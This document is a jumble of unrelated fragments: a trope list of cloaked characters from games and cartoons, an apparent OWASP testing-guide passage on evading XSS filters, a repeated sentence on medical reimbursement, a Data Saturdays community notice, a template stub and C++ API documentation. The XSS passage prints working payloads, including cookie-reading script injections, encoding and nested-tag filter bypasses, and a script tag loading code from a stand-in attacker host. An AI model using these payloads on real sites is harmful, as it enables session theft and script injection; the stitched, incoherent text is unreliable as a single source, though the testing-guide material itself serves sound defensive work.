- In Charmed Cole wears one of these for his reluctant ascension to The Source. When the demon priest asks him how it feels he simply comments "Heavy".
- Sheamus' outfit in the WWE after he became King of the Ring in 2010 and proclaimed himself King Sheamus.
- Lucia and Ghaleon wear them in Lunar: Eternal Blue. Lucia's is so distinctive that the other characters insist that she pick out a different outfit in order to blend in better. And Ghaleon's is +5 to Awesomeness.
- Ghaleon gets another one of these added to his wardrobe in Lunar: The Silver Star...giving him twice as many costumes as any other character in the game.
- Vincent Valentine of Final Fantasy VII is known for his tattered red cloak.
- Taken Up to Eleven in Final Fantasy VII: Advent Children, where he is shown in one sequence as only being a cloak, which was apparently a new ability he picked up.
- The wizard Rune wears one of these in Phantasy Star IV.
- In Yo-Jin-Bo, Bo's cape covers most of his body, except for that strip of bare chest that his kimono can't seem to cover, either.
- Glukkons in the Oddworld games have all-encompassing suit jackets, in order to conceal the fact that their bodies and legs are largely vestigial, and they walk on their oversized hands and arms.
- In Syndicate, Zealots of the Church of the New Epoch wear massive white mantles with brown shoulderpieces and hoods. Justified in how all they possibly hide an inhumanly robotic body - the running animation reveals hoverjets of some sort.
- Jackle from NiGHTS into Dreams.... His battle music is even titled "The Mantle". Of course, he is pretty much all mantle, along with disembodied hands, feet, and a horned hat-thing with floating eyes and Cheshire Cat-like grin.
- Galcian of Skies of Arcadia.
- Apollo Justice: Ace Attorney: All the members of Troupe Gramarye.
- Male Sages in Dragon Quest III have one, which reappears in Dragon Quest IX as the Cape of Good Karma.
- World of Warcraft:
- Before his appearance at Magister's Terrace, Kael'thas Sunstrider had an epic mantled cloak◊.
- Wardens also wear such cloaks◊, along with some impressive shoulders.
- Amon in the Lufia series wears a absurdly massive mantle, usually gold. In Lufia: Curse of the Sinistrals his character portrait takes up damn near the entire screen because of it!
- In Alpha Protocol, the Big Bad of the Taipei mission wears one, until your boss fight with him, at which point The Coat Comes Off.
- Concept art for City of Villains had Mu Adepts and Guardians enveloped in these. Technical limitations mean that in-game, they wear a back-and-front pair of capes.
- General Baal in Grandia wears one, which hides his Combat Tentacles.
- Dhaos of Tales of Phantasia wears an orange one with a yellow pattern at the bottom.
- Magus in Chrono Trigger wears one, flung back dramatically when casting a spell.
- Ditto with Lord Dalton.
- Meta Knight from Kirby series tends to stand around like this when he's not sporting Cape Wings.
- Bass from Mega Man Battle Network.
- ScuttleTruck wears one of these in The Adventures of Dr. McNinja, to terrifying effect.
- Worn by The Speaker in Harkovast.
- Metheos wears one in Sidekicks before swapping into another body.
- In the League of Intergalactic Cosmic Champions Soyburger Patricia wears a cloak like this.
- Raven from Teen Titans has one of these. Under normal circumstances, it's ankle-length. When she uses her dark magic, both it - and her - can become much larger.
- The title characters in Gargoyles sometimes achieve the same effect by wrapping their wings around their shoulders.
- Like in the comics, Batman usually has his cape fully cloaking his body, looking really creepy when he pops out of the shadows in his own way. The artists even had pencil drawings to specifically show how the cape should look and how Batman should move like this. (The drawings also noted that they cheat: the cape magically becomes shorter in fight scenes to stop it getting in the way.)
- The Batman has a cape that's significantly longer than his body, meaning it drapes dramatically all the time.
- Ben 10: Alien Force: Big Chill's wings turn into one of these.
- In Thunder Cats 2011, Jaga's Clerics wear these as part of their Full Body Disguises.
- Master Cyclonis from Storm Hawks wears one, but it has slits down the sides instead, allowing her to use her arms. She tends to remove it entirely when she's about to get in a physical confrontation regardless.
- Wirt from Over the Garden Wall.
- Beast Machines has Megatron use his wings as this while he's attached to his control harness.


Bypass XSS filters
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.
Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.
The XSS Filter Evasion Cheat Sheet documents common filter evasion tests.
Example 3: Tag Attribute Value
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of <script> tags and even without the use of characters such as " < > and / that are commonly filtered.
For example, the web application could use the user input value to fill an attribute, as shown in the following code:
<input type="text" name="state" value="INPUT_FROM_USER">
Then an attacker could submit the following code:
" onfocus="alert(document.cookie)
Example 4: Different syntax or encoding
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the enconding. These variations are tolerated by browsers as valid HTML when the code is returned, and yet they could also be accepted by the filter.
Following some examples:
"><script >alert(document.cookie)</script >
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e
Example 5: Bypassing non-recursive filtering
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:
<scr<script>ipt>alert(document.cookie)</script>
Example 6: Including external script
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:
<?
$re = "/<script[^>]+src/i";
if (preg_match($re, $_GET['var']))
{
echo "Filtered";
return;
}
echo "Welcome ".$_GET['var']." !";
?>
In this scenario there is a regular expression checking if <script [anything but the character: '>' ] src is inserted. This is useful for filtering expressions like
<script src="http://attacker/xss.js"></script>
which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this:
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was originating from the victim web site, http://example/.
Example 7: HTTP Parameter Pollution (HPP)
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP Poland conference. See the Testing for HTTP Parameter pollution for more information. This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible. If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern- based security mechanisms.
Regular attack:
http://example/page.php?param=<script>[...]</script>
Attack using HPP:
http://example/page.php?param=<script¶m=>[...]</¶m=script>
Result expected
See the XSS Filter Evasion Cheat Sheet for a more detailed list of filter evasion techniques. Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers.


A company which is having an employee strength of at least 1500. All the employees are provided medical reimbursement facility which means that the expenditure incurred by the employee for treatment is reimbursed by the company.
A company which is having an employee strength of at least 1500. All the employees are provided medical reimbursement facility which means that the expenditure incurred by the employee for treatment is reimbursed by the company.


Following the announcement of the ending of the PASS organisation https://www.pass.org/PASS-Blog/the-future-of-pass,
we, the community, wish to provide a means for events to continue under the Data Saturdays name.
Please feel free to join the discussion for the re-creating of this provision at https://github.com/sqlcollaborative/DataSaturdays
We believe, by sharing these resources and enabling community input, we can continue to help people to provide the same level of events the SQL Saturdays provided. This site and the repo has been set up by Gianluca Sartori, Rob Sewell, Steve Jones, and Johan Ludvig Brattås but is hosted in the SQL Collaborative organisation and is for the community.
Additional contributors presently include: Matt Gordon, Andy Mallon, Elizabeth Noble, Monica Rathbun, and Randolph West.


{% extends "templates/admin_base.html" %} {% block title %}Dashboard{% endblock %} {% block body %} {% set stats = data.stats %}
Sorry, but the dashboard stats are currently being re-generated. Please check back in a few minutes.


|
Quick Links: |
#include <bmqt_compressionalgorithmtype.h>
Public Types | |
| enum | Enum { e_UNKNOWN = -1, e_NONE = 0, e_ZLIB = 1 } |
Static Public Member Functions | |
| static bsl::ostream & | print (bsl::ostream &stream, CompressionAlgorithmType::Enum value, int level=0, int spacesPerLevel=4) |
| static const char * | toAscii (CompressionAlgorithmType::Enum value) |
| static bool | fromAscii (CompressionAlgorithmType::Enum *out, const bsl::string &str) |
| static bool | isValid (const bsl::string *str, bsl::ostream &stream) |
Static Public Attributes | |
| static const int | k_LOWEST_SUPPORTED_TYPE = e_NONE |
| static const int | k_HIGHEST_SUPPORTED_TYPE = e_ZLIB |
This struct defines various types of compression algorithms.
See Component bmqt_compressionalgorithmtype
| static bsl::ostream& bmqt::CompressionAlgorithmType::print | ( | bsl::ostream & | stream, | |
| CompressionAlgorithmType::Enum | value, | |||
| int | level = 0 , |
|||
| int | spacesPerLevel = 4 | |||
| ) | [static] |
Write the string representation of the specified enumeration value
to the specified output stream
, and return a reference to stream
. Optionally specify an initial indentation level
, whose absolute value is incremented recursively for nested objects. If level
is specified, optionally specify spacesPerLevel
, whose absolute value indicates the number of spaces per indentation level for this and all of its nested objects. If level
is negative, suppress indentation of the first line. If spacesPerLevel
is negative, format the entire output on one line, suppressing all but the initial indentation (as governed by level
). See toAscii
for what constitutes the string representation of a CompressionAlgorithmType::Enum
value.
| static const char* bmqt::CompressionAlgorithmType::toAscii | ( | CompressionAlgorithmType::Enum | value | ) | [static] |
Return the non-modifiable string representation corresponding to the specified enumeration value
, if it exists, and a unique (error) string otherwise. The string representation of value
matches its corresponding enumerator name with the "e_" prefix eluded. For example:
bsl::cout << CompressionAlgorithmType::toAscii( CompressionAlgorithmType::e_NONE);
will print the following on standard output:
NONE
Note that specifying a value
that does not match any of the enumerators will result in a string representation that is distinct from any of those corresponding to the enumerators, but is otherwise unspecified.
| static bool bmqt::CompressionAlgorithmType::fromAscii | ( | CompressionAlgorithmType::Enum * | out, | |
| const bsl::string & | str | |||
| ) | [static] |
Update the specified out
with correct enum corresponding to the specified string str
, if it exists, and return true. Otherwise in case of an error or unidentified string, return false. The expected str
is the enumerator name with the "e_" prefix excluded. For example:
CompressionAlgorithmType::fromAscii(out, NONE);
will return true and the value of out
will be:
bmqt::CompresssionAlgorithmType::e_NONE
Note that specifying a str
that does not match any of the enumerators excluding "e_" prefix will result in the function returning false and the specified out
will not be touched.
| static bool bmqt::CompressionAlgorithmType::isValid | ( | const bsl::string * | str, | |
| bsl::ostream & | stream | |||
| ) | [static] |
Return true incase of valid specified str
i.e. a enumerator name with the "e_" prefix excluded. Otherwise in case of invalid str
return false and populate the specified stream
with error message.
const int bmqt::CompressionAlgorithmType::k_LOWEST_SUPPORTED_TYPE = e_NONE [static] |
const int bmqt::CompressionAlgorithmType::k_HIGHEST_SUPPORTED_TYPE = e_ZLIB [static] |


* Diem Chau
today’s Very Short List:
culture 13 Nov 2013
Emily Lakin is a Development Manager for Yerba Buena Center for the Arts
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